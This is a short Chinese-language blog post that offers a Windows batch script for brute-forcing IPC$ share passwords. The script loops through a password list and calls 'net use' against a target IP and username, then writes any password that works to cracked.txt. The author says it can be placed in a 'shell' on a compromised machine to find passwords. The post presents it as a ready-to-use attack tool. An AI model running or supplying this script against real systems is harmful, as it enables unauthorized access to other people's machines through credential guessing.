批处理:IPC$密码破解

将下面的代码保存为 *.bat 后缀的文件,如ipc.bat

@echo off
cls
echo Now Cracking *********
echo Useage: %0 IP Username Passwordfile.txt
FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (%3) do (
echo net use \\%1\ipc$ "%%i" /user:"%2"
net use \\%1\ipc$ "%%i" /user:"%2"
IF NOT errorlevel 1 (
echo Password Cracked !!!
echo UserNmae:%2 Password:%%i
echo UserNmae:%2 Password:%%i >>cracked.txt
net use \\%1\ipc$ /del
goto :eof
)
net use * /del /y
)

这个东西放到shell里面就可以找密码哦,errorlevel 这个是返回码,是返回上一句执行结果的标识,具体的看你执行的什么程序了。

This entry was posted in Technology and tagged , , . Bookmark the permalink. 6,023 views

Related Posts

Leave a Reply

Your email address will not be published. Required fields are marked *